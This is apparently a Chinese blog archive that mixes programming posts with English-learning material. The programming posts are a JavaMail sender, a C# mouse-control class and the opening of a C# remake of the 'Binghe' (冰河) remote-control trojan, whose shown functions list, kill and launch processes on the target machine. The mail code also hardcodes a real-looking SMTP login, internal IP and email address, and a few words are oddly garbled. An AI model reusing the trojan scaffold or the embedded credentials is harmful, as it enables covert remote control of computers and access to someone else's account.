       private final static String mailer = "Sky";


       private String username = null;


       private String password = null;


       private String host = null;


       private String from = null;


       private String to = null;


       private String cc = "";


       private String bcc = "";


       private String subject = "";


       private String text = "";


       private String footer = "";


       private boolean debug = false;
       
       private String strFile = "config.txt";


       public JavaMail() {
        props = new Properties();
       }
       
       public JavaMail(Properties p) {
        props = p;
       }


       public void createSession() throws Exception {
        //File f = new File(strFile);
        //if(f.exists()){
        // FileInputStream fin = new FileInputStream(f);
        // props.load(fin);
        //}
        //props.put("http.proxySet", "true");
        //props.put("http.proxyHost", "192.168.53.130");
        //props.put("http.proxyPort", "8080");
        session = Session.getInstance(props, null);
        session.setDebug(debug);
        transport = session.getTransport("smtp");
        transport.connect(props.getProperty("mail.smtp.host"),
          props.getProperty("mail.smtp.user"),
          props.getProperty("mail.smtp.password"));
          //host,username, password);
        msg = new MimeMessage(session);
       }


       public void setDebug(boolean debug) throws Exception {
        this.debug = debug;
       }


       public void setSmtpHost(String str) throws Exception {
        this.host = str;
        props.put("mail.smtp.host", host);
       }


       public void setAuth(boolean auth) {
        if (auth) {
         props.put("mail.smtp.auth", "true");
        }
       }


       public void setUsername(String user) {
        this.username = user;
        props.put("mail.smtp.user", username);
       }


       public void setPassword(String pass) {
        this.password = pass;
        props.put("mail.smtp.password", password);
       }


       public String getUsername() {
        return this.username;
       }


       public String getPassword() {
        return this.password;
       }


       public void setFrom(String str) throws Exception {
        this.from = str;
        msg.setFrom(new InternetAddress(from));
       }


       public void setTo(String str) throws Exception {
        this.to = str;
        msg.setRecipients(Message.RecipientType.TO, InternetAddress.parse(to,
          false));
       }


       public void setCC(String str) throws Exception {
        this.cc = str;
        msg.setRecipients(Message.RecipientType.CC, InternetAddress.parse(cc,
          false));
       }


       public void setBCC(String str) throws Exception {
        this.bcc = str;
        msg.setRecipients(Message.RecipientType.BCC, InternetAddress.parse(bcc,
          false));
       }


       public void setSubject(String str) throws Exception {
        this.subject = str;
        msg.setSubject(subject);
       }


       public void setText(String str) throws Exception {
        this.text = str;
        //this.text += this.footer;


        //       msg.setText(this.text);
        BodyPart bp = new MimeBodyPart();
        bp.setContent(text, "text/plain; charset=gb2312");
        mm.addBodyPart(bp);
        msg.setContent(mm);
       }


       public void setFooter(String str) {
        this.footer = str;
       }


       public void setHtml(String str) throws Exception {
        StringBuffer sb = new StringBuffer();
        sb.append("<HTML>\n");
        sb.append("<HEAD>\n");
        sb.append("<TITLE>\n");
        sb.append(subject + "\n");
        sb.append("</TITLE>\n");
        sb.append("</HEAD>\n");


        sb.append("<BODY>\n");
        sb.append("<H1>" + subject + "</H1>" + "\n");


        sb.append(str);
        sb.append(this.footer);


        sb.append("\n");


        sb.append("</BODY>\n");
        sb.append("</HTML>\n");


        this.text = sb.toString();


        BodyPart bp = new MimeBodyPart();
        bp.setContent(text, "text/html; charset=gb2312");
        mm.addBodyPart(bp);
        msg.setContent(mm);
       }


       public boolean addFileAffix(String filename) {
        boolean bool = false;
        try {
         BodyPart bp = new MimeBodyPart();
         FileDataSource fds = new FileDataSource(filename);
         bp.setDataHandler(new DataHandler(fds));
         //bp.setFileName(fds.getName());
         bp.setFileName(MimeUtility
           .encodeWord(fds.getName(), "GB2312", null));
         bp.setHeader("Content-ID", fds.getName());
         mm.addBodyPart(bp);
         //msg.setContent(mm);
         bool = true;
        } catch (Exception e) {
         System.err.println("增加邮件附件:" + filename + "发生错误!" + e);
        }
        System.out.println("增加邮件附件:" + filename);
        return bool;
       }


       public void send() {


        try {
         
         msg.setHeader("X-Mailer", mailer);
         msg.setSentDate(new Date());
         transport.sendMessage(msg, msg.getAllRecipients());
         System.out.println("Mail was sent successfully.");
        } catch (MessagingException e) {
         //e.printStackTrace();
         System.out.println(e.toString());
        }
       }
      }


      SendMail.java


      /*
       * Created on 2005-6-14 Version 1.0
       *
       * TODO To change the template for this generated file go to
       * Window - Preferences - Java - Code Style - Code Templates
       */
      package sky.javamail;


      import java.io.*;
      import java.util.*;
      //import sky.javamail.*;


      /**
       * @author chent
       *
       * TODO To change the template for this generated type comment go to Window -
       * Preferences - Java - Code Style - Code Templates
       */
      public class SendMail {


       public static void main(String[] args) {
        try {
         String strFile = "config.ini";


         Properties props = new Properties();


         JavaMail am = null;


         File f = new File(strFile);
         if (f.exists()) {
          FileInputStream fin = new FileInputStream(f);
          props.load(fin);


          am = new JavaMail(props);


          am.setDebug(Boolean.getBoolean(props.getProperty("debug")));


          //am.setSmtpHost("wks05404.bis.swirebev.com");
          am.setSmtpHost(props.getProperty("mail.smtp.host"));
          //props.put("mail.smtp.host", "192.1.51.27");
          am.setAuth(Boolean.getBoolean(props
            .getProperty("mail.smtp.auth")));
          //props.put("mail.smtp.auth", "true");


          am.setUsername(props.getProperty("mail.smtp.user"));
          //props.put("mail.smtp.user", "chent");
          am.setPassword(props.getProperty("mail.smtp.password"));
          //props.put("mail.smtp.password", "811010");


          am.createSession();


          am.setFrom(props.getProperty("from"));
          //props.put("from", "
      chent@bis.swirebev.com");
          am.setTo(props.getProperty("to"));
          //props.put("to", "
      chent@bis.swirebev.com");
          //am.setTo("
      chent@bis.swirebev.com");
          //am.setCC("");
          //am.setBCC("");


          am.setSubject(props.getProperty("subject"));
          //props.put("subject", "test");
          am.setText(props.getProperty("text"));
          //props.put("text", "test");


          am.send();
         } else {


          am = new JavaMail();


          am.setDebug(true);
          props.put("debug", "true");


          //am.setSmtpHost("wks05404.bis.swirebev.com");
          am.setSmtpHost("192.1.51.27");
          props.put("mail.smtp.host", "192.1.51.27");
          am.setAuth(true);
          props.put("mail.smtp.auth", "true");


          am.setUsername("chent");
          props.put("mail.smtp.user", "chent");
          am.setPassword("811010");
          props.put("mail.smtp.password", "811010");


          am.createSession();


          am.setFrom("chent@bis.swirebev.com");
          props.put("from", "
      chent@bis.swirebev.com");
          am.setTo("
      chent@bis.swirebev.com");
          props.put("to", "
      chent@bis.swirebev.com");
          //am.setTo("
      chent@bis.swirebev.com");
          //am.setCC("");
          //am.setBCC("");


          am.setSubject("test");
          props.put("subject", "test");
          am.setText("哈哈");
          props.put("text", "哈哈");


          FileOutputStream fout = new FileOutputStream(strFile);
          props.store(fout, "");//保存文件
          fout.close();


          am.send();
         }
        } catch (Exception e) {
         System.err.println(e.toString());
         //e.printStackTrace();
        }
       }
      }

      C# 控制鼠标

      | 1 Comment

      namespace ClassLibrary.Hardware
      {


      public class Mouse
      {
       internal const byte SM_MOUSEPRESENT = 19;
       internal const byte SM_CMOUSEBUTTONS = 43;
       internal const byte SM_MOUSEWHEELPRESENT = 75;


       internal struct POINTAPI
       {
        internal int x;
        internal int y;
       }


       internal struct RECT
       {
        internal int left ;
        internal int top ;
        internal int right ;
        internal int bottom ;
       }


       [System.Runtime.InteropServices.DllImport("user32.dll" , EntryPoint="SwapMouseButton")]
       internal extern static int SwapMouseButton ( int bSwap );


       [System.Runtime.InteropServices.DllImport("user32" , EntryPoint="ClipCursor")]
       internal extern static int ClipCursor(ref RECT lpRect);


       [System.Runtime.InteropServices.DllImport( "user32.dll" , EntryPoint="GetCursorPos" )]
       internal extern static int GetCursorPos( ref POINTAPI lpPoint );


       [System.Runtime.InteropServices.DllImport("user32.dll", EntryPoint="ShowCursor")]
       internal extern static bool ShowCursor ( bool bShow ) ;


       [System.Runtime.InteropServices.DllImport( "user32.dll" , EntryPoint = "EnableWindow" )]
       internal extern static int EnableWindow( int hwnd , int fEnable );


       [System.Runtime.InteropServices.DllImport("user32.dll" , EntryPoint="GetWindowRect")] 
       internal extern static int GetWindowRect( int hwnd , ref RECT lpRect ) ;


       [System.Runtime.InteropServices.DllImport("user32.dll" , EntryPoint="SetCursorPos")] 
       internal extern static int SetCursorPos ( int x , int y ) ;


       [System.Runtime.InteropServices.DllImport("user32.dll" , EntryPoint="GetSystemMetrics")]
       internal extern static int GetSystemMetrics( int nIndex );


       [System.Runtime.InteropServices.DllImport("user32.dll" , EntryPoint="SetDoubleClickTime")]
       internal extern static int SetDoubleClickTime ( int wCount );


       [System.Runtime.InteropServices.DllImport("user32.dll" , EntryPoint="GetDoubleClickTime")]
       internal extern static int GetDoubleClickTime() ;


       [System.Runtime.InteropServices.DllImport("kernel32.DLL", EntryPoint="Sleep")]
       internal extern static void Sleep ( int dwMilliseconds ) ;


       //得到鼠标相对与全屏的坐标,不是相对与你的Form的,且与你的分辨率有关系


       public static int FullScreenPosition_X
       {
        get
        {
        POINTAPI _POINTAPI = new POINTAPI();


        GetCursorPos ( ref _POINTAPI );
        
        return _POINTAPI.x;
        }
       }
       
       public static int FullScreenPosition_Y
       {
        get
        {
        POINTAPI _POINTAPI = new POINTAPI();


        GetCursorPos ( ref _POINTAPI );
        
        return _POINTAPI.y;
        }
       }


       // 隐藏 显示 鼠标


       public static void Hide()
       {
        ShowCursor( false ) ;
       }
       
       public static void Show()
       {
        ShowCursor( true ) ;
       }


       // 将鼠标锁定在你的Form里 不过你得将你的Form先锁了,Form Resize 就失效了


       public static void Lock( System.Windows.Forms.Form ObjectForm )
       {
        RECT _FormRect = new RECT ();
       
        GetWindowRect( ObjectForm.Handle.ToInt32() , ref _FormRect );
       
        ClipCursor( ref _FormRect );
       }
       
       public static void UnLock()
       {
        RECT _ScreenRect = new RECT ();
       
        _ScreenRect.top = 0;
        _ScreenRect.left = 0;
        _ScreenRect.bottom = System.Windows.Forms.Screen.PrimaryScreen.WorkingArea.Bottom;
        _ScreenRect.right = System.Windows.Forms.Screen.PrimaryScreen.WorkingArea.Right;
        
        ClipCursor( ref _ScreenRect );
       }


       // 鼠标失效,不过失效的好像不只是鼠标,小心哦


       public static void Disable( System.Windows.Forms.Form ObjectForm )
       {
        EnableWindow( ObjectForm.Handle.ToInt32() , 0 ) ;
       }


       public static void Enable( System.Windows.Forms.Form ObjectForm )
       {
        EnableWindow( ObjectForm.Handle.ToInt32() , 1 ) ;
       }


       // 鼠标自己移动 很想动画哦 参数是2个控件的handle
       // 看这个方法前,先用凉水擦把脸。。。 反正我写的时候 头晕


       public static void Move ( int From_Handle_ToInt32 , int To_Handle_ToInt32 )
       {
        RECT rectFrom = new RECT () ;
        RECT rectTo = new RECT () ;
        
        int i ;
       
        GetWindowRect( From_Handle_ToInt32 , ref rectFrom ) ;
        GetWindowRect( To_Handle_ToInt32 , ref rectTo ) ;


        if ( ( rectFrom.left + rectFrom.right ) / 2 - ( rectTo.left + rectTo.right ) / 2 > 0 )
        {
        for ( i = ( rectFrom.left + rectFrom.right ) / 2 ; i >= ( rectTo.left + rectTo.right ) / 2 ; i-- )
        {
         SetCursorPos ( i , ( rectFrom.top + rectFrom.bottom ) / 2) ;
         Sleep ( 1 ) ;
        }
        }
        else
        {
        for ( i = ( rectFrom.left + rectFrom.right ) / 2 ; i <= ( rectTo.left + rectTo.right ) / 2 ; i++ )
        {
         SetCursorPos ( i , ( rectFrom.top + rectFrom.bottom ) / 2) ;
         Sleep ( 1 ) ;
        }
        }


        if ( ( rectFrom.top + rectFrom.bottom ) / 2 - ( rectTo.top + rectTo.bottom ) / 2 > 0 )
        {
        for ( i = ( rectFrom.top + rectFrom.bottom ) / 2 ; i >= ( rectTo.top + rectTo.bottom ) / 2 ; i-- )
        {
         SetCursorPos ( ( rectTo.left + rectTo.right ) / 2 , i ) ;
         Sleep ( 1 ) ;
        }
        }
        else
        {
        for ( i = ( rectFrom.top + rectFrom.bottom ) / 2 ; i <= ( rectTo.top + rectTo.bottom ) / 2 ; i++ )
        {
         SetCursorPos ( ( rectTo.left + rectTo.right ) / 2 , i ) ;
         Sleep ( 1 ) ;
        }
        }
       }
       
       // 得到你的鼠标类型


       public static string Type
       {
        get
        {
        if ( GetSystemMetrics( SM_MOUSEPRESENT ) == 0 )
        {
         return "本计算机尚未安装鼠标" ;
        }
        else
        {
         if ( GetSystemMetrics( SM_MOUSEWHEELPRESENT ) != 0 )
         {
         return GetSystemMetrics( SM_CMOUSEBUTTONS ) + "键滚轮鼠标" ;
         }
         else
         {
         return GetSystemMetrics( SM_CMOUSEBUTTONS ) + "键鼠标" ;
         }
        }
        }
       }


       // 设置鼠标双击时间
       
       public static void DoubleClickTime_Set( int MouseDoubleClickTime )
       {
        SetDoubleClickTime( MouseDoubleClickTime );
       }
       
       public static string DoubleClickTime_Get()
       {
        return GetDoubleClickTime().ToString() ;
       }


       // 设置鼠标默认主键 我是没有见过谁左手用鼠标


       public static void DefaultRightButton()
       {
        SwapMouseButton ( 1 ) ;
       }
       
       public static void DefaultLeftButton()
       {
        SwapMouseButton ( 0 ) ;
       }
      }
      }

      “冰河”的c#简易版

      | 1 Comment

      using System;
      using System.Diagnostics;
      using System.IO;
      using System.Windows.Forms;
      using System.Threading;
      using System.Runtime.InteropServices;
      using System.Drawing;
      using System.Drawing.Imaging;


      namespace remoteClass
      {
       /// <summary>
       /// 远程监控操作类
       /// </summary>
       public class remoteClass:System.MarshalByRefObject
       {
        public remoteClass()
        {
        }
        #region get、delete 、run process
        /// <summary>
        /// 获取当前进程名数组
        /// </summary>
        /// <returns>进程名的数组</returns>
        public string[] getProcessName()
        {
         //获取执行本组件的本机所以进程数组
         Process[] myProcesses=Process.GetProcesses(".");
         string[] processNames=new string[myProcesses.Length];
         for(int i=0;i<myProcesses.Length;i++)
         {
          processNames[i]=myProcesses[i].ProcessName;
         }
         return processNames;
        }
        /// <summary>
        /// 结束指定的进程
        /// </summary>
        /// <param name="processName">要结束的进程名称</param>
        /// <returns>操作是否成功</returns>
        public int endProcess(string processName)
        {
         //在本机中获取指定名称的进程
         Process[] myProcess=Process.GetProcessesByName(processName,".");
         myProcess[0].CloseMainWindow();
         myProcess[0].Kill();
         return 1;
        }
        /// <summary>
        /// 运行指定位置的程序
        /// </summary>
        /// <param name="path">程序所在的路径</param>
        public void exeProcess(string path)
        {
         Process process1=new Process();
         process1.StartInfo.FileName=path;
         process1.Start();
        }
        #endregion

      [转载]英文简历撰写宝典

      | 19 Comments

      英文简历撰写宝典


       


      求职宝典--说明教育程度 Stating Your Education


      这么多,不容易啊 ,各位看着来吧~


       


      1Useful Courses for English-teaching include: Psychology, teaching methodology,phonetics, rhetoric, grammar, composition.


      对英语教学有用的课程包括:心理学、教学方法论、语音学、修辞学、语法、写作。


       


      2Specialized courses pertaining to foreign trade: Marketing principles, international marketing, practical English correspondence and telecommunications, foreign exchange, business English.


      和外贸相关的专门课程:市场学原理、国际营销学、实用英语函电、外汇兑换、商务英语。


       


      3Courses taken that would be useful for computer programming are: Computer science, systems design and analysis, FORTRAN programming, PASCAL programming, operating systems, systems management.


      对计算机编程有用的课程有:计算机学、系统设计与分析、FORTRAN编程学、PASCAL编程学、操作系统、系统管理。


       


      4Academic preparation for management: Management: Principles of management, organization theory, behavioral science. Communication: Business communication, personnel management, human relations. Marketing: Marketing theory, sales management.


      大学时为管理所做的学术准备: 管理学:管理学原理、组织理论、行为学。交际学:商务交际、人事管理、人际关系。市场学:市场学理论、营销管理。


       


      5Curriculum included: Electric power systems, 90; Signal processing, 88; Systems and control, 92; Electric energy systems, 92; Solid-state electronics, 88; Communications, 94


      课程包括:电力系统,90分;讯号处理,88分;系统控制,92分;电力能源系统,92分;固体电子学,88分;通讯,94分。


       


      6Major courses contributing to management qualification: Management, accounting, economics, marketing, sociology.


      对管理资格有帮助的主要课程:管理学、会计学、经济学、市场学、社会学。


       


      7Courses completed: History of mass communication, 88; China's communication history, 92; Media research, 90; Public opinion, 92; Conceptual analysis, 88; Content analysis, 90; Advertising, 92; New media technology, 94.


      所修课程:大众传播史,88分;中国传播史,92分;媒体研究,90分;舆论学,92分;概念分析,88分;内容分析,90分;广告学,92分;新媒体方法,94分。


       


      8Courses in industrial designs and related field: Dynamic systems, 执行uation and management of designs, systems and control, ergonomics, tensile structures, structural analysis, computer-aided design, applied mechanics.


      工业设计及其相关领域的课程:动力系统、设计评估与管理、系统控制、人类工程学、张力结构、结构分析、计算机辅助设计、应用力学。


       


      9Among the pertinent courses I have taken are: office administration, secretarial procedures, business communication, psychology, data-processing, typing, shorthand.


      在相关的课程中我修过的有:办公室管理、秘书程序、商务交际、心理学、资料处理、打字、速记。


       


      10Majored in banking. Courses covered are as follows: Banking operations, 89; banking and computers, 90; loans, 92; letters of credit, 90; savings, 88; foreign exchange, 92; telegraphic transfers, 90; remittances, 94; financial systems in the west, 92.


      主修金融学。涉及的课程有如下几门:银行业务,89分;银行与计算机,90分;贷款,92分;信用证,90分;储蓄,88分;外汇兑换,92分;电汇,90分;汇款,94分;西方金融制度,92分。


       


      求职宝典--说明应聘职位 Stating Your Job Objective


      1A responsible administrative position which will provide challenge and freedom where I can bring my initiative and creativity into full play.


      负责管理的职位,该职位将提供挑战和自由,使我能充分发挥我的进取精神及创造能力。


       


      2An 执行utive assistant position utilizing interests, training and experience in office administration.


      行政助理的职位,能运用办公室管理方面的兴趣,训练与经验。


       


      3A position in management training programs with the eventual goal of participating in the management rank of marketing.


      管理培训计划方面的职位。最终目标在参与市场管理层。


       


      4An entry-level position in sales. Eventual goal; manager of marketing department.


      销售方面的初级职位。最终目标:销售部门的经理。


       


      5A position requiring analytical skills in the financial or investment field.


      财务或投资领域需运用分析技巧的职务。


       


      6To begin as an accounting trainee and eventually become a manager.


      从当会计见习开始,最后成为经理。


       


      7An entry-level position in an accounting environment, which ultimately leads to financial management.


      会计部门的初级职务,最后能够管理财务。


       


      8A position as data-processing manager that will enable me to use my knowledge of computer systems.


      资料处理经理的职务,能保证我运用电脑系统的知识。

      [转载]英语经典赞美 30 句

      1. you look great today.(你今天看上去很棒。)【每天都可以用!】
      2. you did a good job. (你干得非常好。)【国际最通用的表扬!】
      3. we're so proud of you.(我们十分为你骄傲。)【最高级的表扬!】
      4. i'm very pleased with your work.(我对你的工作非常满意。)【正式、真诚的赞扬!】
      5. this is really a nice place.(这真是个好地方!)【随口就说、但效果很好的表扬!】
      6. you're looking sharp!(你看上去真精神/真棒/真漂亮。)【与众不同的表扬!】
      7. you always know the right thing to say. = 8. you're very eloquent.(你总是说话得体。)【高层次的表扬!】
      9. nice going! = you did a good job.(干得好!)【极其地道的表扬!】
      10. the food is delicious.(好吃!)【最普通、但非常重要的表扬!】
      11. everything tastes great.(每样东西都很美味!)
      12. your son/daughter is so cute.(你的孩子很可爱。)【外国人绝对喜欢听的表扬!】 13. what an adorable baby!(多么可爱的孩子。)【只管大胆用!】
      14. i admire your work. = 15. i respect your work.(我对你的工作表示敬意。)【世界通用!】
      16. you've got a great personality.(你的个性很好。)【一个非常安全的表扬!】
      17. you have a good sense of humor.(你真幽默。)【美国人极其喜欢的表扬!】
      18. your chinese is really surprising.(你的中文令人惊讶。)【绝对和其他人不一样的表扬!】
      19. your english is incredible.(我真不敢相信你的英语。)【用了六星级形容词!】 20. you have a very successful business.(你的事业很成功。)【现代人非常喜欢听!】
      21. you're very professional.(你非常专业。)【专业化的表扬!】
      22. your company is very impressive.(你的公司给我留下深刻印象。)
      23. you're so smart.(你非常聪明。)
      24. i envy you very much.(我非常羡慕你。)
      25. your wife is very charming.(你的妻子很有魅力!)
      26. you two make a lovely couple.(你们真是天生的一对!)
      27. you're really talented.(你很有天赋。)
      28. you look nice in that color.(你穿那种颜色很好看。)
      29. you have a good taste.(你很有品位。)
      30. you look like a million dollars. = you look outstanding.=you look like a movie star.(你看上去帅呆了。)

      超级实用的商务英语220句

      | 6 Comments

      1 I’ve come to make sure that your stay in Beijing is a pleasant one.
        我特地为你们安排使你们在北京的逗留愉快。

        
      2 You’re going out of your way for us, I believe.
        我相信这是对我们的特殊照顾了。

        
      3 It’s just the matter of the schedule,that is,if it is convenient of you right now.
        如果你们感到方便的话,我想现在讨论一下日程安排的问题。

        
      4 I think we can draw up a tentative plan now.
        我认为现在可以先草拟一具临时方案。

        
      5 If he wants to make any changes,minor alternations can be made then.
        如果他有什么意见的话,我们还可以对计划稍加修改。

        
      6 Is there any way of ensuring we’ll have enough time for our talks?
        我们是否能保证有充足的时间来谈判?

        
      7 So our evenings will be quite full then?
        那么我们的活动在晚上也安排满了吗?

        
      8 We’ll leave some evenings free,that is,if it is all right with you.
        如果你们愿意的话,我们想留几个晚上供你们自由支配。

        
      9 We’d have to compare notes on what we’ve discussed during the day.
        我们想用点时间来研究讨论一下白天谈判的情况。

        
      10 That’ll put us both in the picture.
        这样双方都能了解全面的情况。

        
      11 Then we’d have some ideas of what you’ll be needing
        那么我们就会心中有点儿数,知道你们需要什么了。

        
      12 I can’t say for certain off-hand.
        我还不能马上说定。

        
      13 Better have something we can get our hands on rather than just spend all our time talking.
        有些实际材料拿到手总比坐着闲聊强。

        
      14 It’ll be easier for us to get down to facts then.
        这样就容易进行实质性的谈判了。

        
      15 But wouldn’t you like to spend an extra day or two here?
        你们不愿意在北京多待一天吗?

        
      16 I’m afraid that won’t be possible,much as we’d like to.
        尽管我们很想这样做,但恐怕不行了。

        
      17 We’ve got to report back to the head office.
        我们还要回去向总部汇报情况呢。

        
      18 Thank you for you cooperation.
        谢谢你们的合作。

        
      19 We’ve arranged our schedule without any trouble.
        我们已经很顺利地把活动日程安排好了。

        
      20 Here is a copy of itinerary we have worked out for you and your friends.Would you please have a look at it?
        这是我们为你和你的朋友拟定的活动日程安排。请过目一下,好吗?

        21 If you have any questions on the details
      feel free to ask.
        如果对某些细节有意见的话,请提出来。

        
      22 I can see you have put a lot of time into it.
        我相信你在制定这个计划上一定花了不少精力吧。

        
      23 We really wish you’ll have a pleasant stay here.
        我们真诚地希望你们在这里过得愉快。

        
      24 I wonder if it is possible to arrange shopping for us.
        我想能否在我们访问结束时为我们安排一点时间购物。

        
      25 Welcome to our factory.
        欢迎到我们工厂来。

        
      26 I’ve been looking forward to visiting your factory.
        我一直都盼望着参观贵厂。

        
      27 You’ll know our products better after this visit.
        参观后您会对我们的产品有更深的了解。

        
      28 Maybe we could start with the Designing Department.
        也许我们可以先参观一下设计部门。

        
      29 Then we could look at the production line.
        然后我们再去看看生产线。

        
      30 These drawings on the wall are process sheets.
        墙上的图表是工艺流程表。

        
      31 They describe how each process goes on to the next.
        表述着每道工艺间的衔接情况。

        
      32 We are running on two shifts.
        我们实行的工作是两班倒。

        
      33 Almost every process is computerized.
        几乎每一道工艺都是由电脑控制的。

        
      34 The efficiency is greatly raised,and the intensity of labor is decreased.
        工作效率大大地提高了,而劳动强度却降低了。

        
      35 All produets have to go through five checks in the whole process.
        所有产品在整个生产过程中得通过五道质量检查关。

        
      36 We believe that the quality is the soul of an enterprise.
        我们认为质量是一个企业的灵魂。

        
      37 Therefore,we always put quality as the first consideration.
        因而,我们总是把质量放在第一位来考虑。

        
      38 Quality is even more important than quantity.
        质量比数量更为重要。

        
      39 I hope my visit does not cause you too much trouble.
        我希望这次来参观没有给你们增添太多的麻烦。

        
      40 Do we have to wear the helmets?
        我们得戴上防护帽吗?

        
      41 Is the production line fully automatic?
        生产线是全自动的吗?

        
      42 What kind of quality control do you have?
        你们用什么办法来控制质量呢?

        
      43 All products have to pass strict inspection before they go out.
        所有产品出厂前必须要经过严格检查。

        
      44 What’s your general impression,may I ask?
        不知您对我们厂总的印象如何?

        
      45 I’m impressed by your approach to business.
        你们经营业务的方法给我留下了很深的印象。

        
      46 The product gives you an edge over your competitors,I guess.
        我认为你们的产品可以使你们胜过竞争对手。

        
      47 No one can match us so far as quality is concerned.
        就质量而言,没有任何厂家能和我们相比。

        
      48 I think we may be able to work together in the future.
        我想也许将来我们可以合作。

        
      49 We are thinking of expanding into the Chinese market.
        我们想把生意扩大到中国市场。

        
      50 The purpose of my coming here is to inquire about possibilities of establishing trade relations with your company.
        我此行的目的正是想探询与贵公司建立贸易关系的可能性。

        
      51 We would be glad to start business with you.
        我们很高兴能与贵公司建立贸易往来。

        
      52 I’d appreciate your kind consideration in the coming negotiation.
        洽谈中请你们多加关照。

        
      53 We are happy to be of help.
        我们十分乐意帮助。

        
      54 I can assure you of our close cooperation.
        我保证通力合作。

        
      55 Would it be possible for me to have a closer look at your samples?
        可以让我参观一下你们的产品陈列室吗?

        
      56 It will take me several hours if I really look at everything.
        如果全部参观的话,那得需要好几个小时。

        
      57 You may be interested in only some of the items.
        你也许对某些产品感兴趣。

        
      58 I can javance at the rest.
        剩下的部分我粗略地看一下就可以了。

        
      59 They’ve met with great favor home and abroad.
        这些产品在国内外很受欢迎。

        
      60 All these articles are best selling lines.
        所有这些产品都是我们的畅销货。

        
      61 Your desire coincides with ours.
        我们双方的愿望都是一致的。

        
      62 No wonder you’re so experienced.
        怪不得你这么有经验。

        
      63 Textile business has become more and more difficult since the competition grew.
        随着竞争的加剧,纺织品贸易越来越难做了。

        
      64 Could I have your latest catalogues or something that tells me about your company?
        可以给我一些贵公司最近的商品价格目录表或者一些有关说明资料吗?

        
      65 At what time can we work out a deal?
        我们什么时候洽谈生意?

        
      66 I hope to conclude some business with you.
        我希望能与贵公司建立贸易关系。

        
      67 We also hope to expand our business with you.
        我们也希望与贵公司扩大贸易往来。

        
      68 This is our common desire.
        这是我们的共同愿望。

        
      69 I think you probably know China has adopted a flexible policy in her foreign trade.
        我想你也许已经了解到中国在对外贸易中采取了灵活的政策。

        
      70 I’ve read about it,but I’d like to know more about it.
        我已经知道了一点儿,但我还想多了解一些。

        
      71 Seeing is believing.
        百闻不如一见。

        
      72 I would like to present our comments in the following order.
        我希望能依照以下的顺序提出我们的看法。

        
      73 First of all, I will outline the characteristics of our product.
        首先我将简略说明我们商品的特性。

        
      74 When I present my views on the competitive products, I will refer to the patent situation.
        专利的情况会在说明竞争产品时一并提出。

        
      75 Please proceed with your presentation.
        请开始你的简报。

        
      76 Yes, we have been interested in new system.
        是的,我们对新系统很感兴趣。

        
      77 Has your company done any research in this field?
        请问贵公司对此范畴做了任何研究吗?

        
      78 Yes, we have done a little. But we have just started and have nothing to show you.
        有,我们做了一些,但是因为我们才刚起步,并没有任何资料可以提供给你们。

        
      79 If you are interested, I will prepare a list of them.
        如果您感兴趣的话,我可以列表让你参考。

        
      80 By the way, before leaving this subject, I would like to add a few comments.
        在结束这个问题之前顺便一提,我希望能再提出一些看法。

      300多个口语化的短语和句子

      whats your asl? 你的,年龄,性别,地点? (聊天用的)
      how are you doing (or: how you doiin) 你好。
      whats up 什么事? 或是: 你好
      lol 大笑 = laugh out loud
      so long 一般不用它。。。意思是:再见
      what are you into?(what you into) 你对什么感兴趣?
      Im into you. 我喜欢你
      Im into.... 我喜欢。。。 对。。。赶兴趣
      wanna want to 和 wanted to 的省写
      gonna going to 的省写。 不是 went to 的啊!
      gay 同性恋(男) 有的美国男孩不喜欢与同性的人聊。
      prick , dick , cock 骂人的。意思是,几吧
      asshole 屁眼
      pussy 逼
      fuck 混蛋 或 性
      bitch 婊 子
      mother fucker 连妈都FUCK的人
      blowjob 非常恶心的性行为。不解释了就
      suck 恶心
      fuck off 滚
      idiot 傻蛋
      hip hop , rock, rap,pop, 说唱,摇滚,说唱,流行歌
      bah bye 再见
      hot ,sexy ,goat 色鬼
      what are you up to(what you up to) 最近怎么样
      butt, ass 屁股
      shut up . shut the hell up , shut the fuck up. 闭嘴
      cuss , abuse 骂人
      cut the crap 别废话
      beat the shit out of you 把你的屎打出来
      bullshit. 胡说
      sit back 别管闲事儿
      feel shit about oneself 感觉不爽
      cool 酷
      be good 听话
      sorry ass 可怜的人,,,贬义词
      kick 踢
      shitty day 倒霉的一天。
      oh yeah? 表示怀疑。。。。是么?
      pic 照片
      give it a shot. give it a go. 试一是
      try me. 你试试。(A: I'll kill you B: try me) A:我杀了你。B:你试试.
      do her. 上她。
      be quiet 安静
      what the fuck ,what the hell , what the hack, (wtf ) 真他XX的!
      hobby 爱好
      cute 可爱(美国人不长说“帅(handsome)" 用CUTE代替)可以说 a handsome car.
      what do you look like (what you look like)你长什么样
      how tall are you(how tall are ya)你多高
      so what 那又怎样??那又如何??
      cutie 可爱的人
      pretty 漂亮,(指人和物) pretty girl. pretty flowers
      faggot 笨蛋。同性恋
      retard 听起来象烟鬼的人
      d*amnit 他XX的
      god d*amnit 他XX的
      d*amn 妈的,倒霉!
      suck 恶心(动词) you suck! 你恶心!,添
      kick ass 不好惹的。
      kick your ass 揍你。踢你的屁股。
      a tough man 难对付的人
      funny shit 有趣的东西
      funny 有趣的
      a piece of shit 一抛屎,
      whole bunch of 一大群。一大堆
      a bunch of 一群 一堆
      kiss my ass 表示看不起你 , 吻我的屁股
      shit 屎 ,废话n
      be pissed off 被惹恼 I've been pissed.(I've been pissed off) 我被若恼了。
      piss off 滚!
      dont know what you are talking about 不知道你在说什么
      dont know what you were saying. 不知道你说了点什么
      dont get it 不明白
      get it? 明白了吗?
      got it! 明白了!
      dont bother 别去麻烦!
      you know what Im saying? 明白我说的吗?
      mad dog 疯狗。一般指人
      are you mad? 你生气拉?
      im mad 我生气拉!
      im pretty mad at you 你真让我生气!
      mad at= angry with
      balls 蛋 ,是人身上的那个
      pain in the ass 着急
      pain in the ass about sth STH让我很急
      Im scared 我怕拉
      you are scared 你怕拉
      back off 让开!
      right on = right 对!
      exactly 非常对!正是!
      gotcha! = got you 抓住你拉!难住你拉!
      I read your mind 我就知道你要说什么
      I knew it 我料到拉!我就知道!
      gotta go 我得走拉!
      you know what? 你知道吗?(you know what? he killed her!) 你知道吗?他杀了她!
      guess what 猜怎么了?
      tell you what 。。。 我给你说啊。。。。
      its not working! 不管用呀!
      that works 那样可以
      I rule! 有点象im cool 我牛! 你牛是(you are cool)
      kind of (kinda) sort of (sorta) 有点儿!
      get me wrong 你冤枉了我!
      who knows , god knows 谁知道呢!
      did I make myself clear? 我是否使你明白拉?
      did I make myself crystal clear? 比上边的口气重
      get on it! 去做。。。把
      Im just playing!=just kidding 开玩笑的
      no offence(no offense) 别生气 ,(用于事先紧告)
      juses 天呀!
      geeze 天呀!
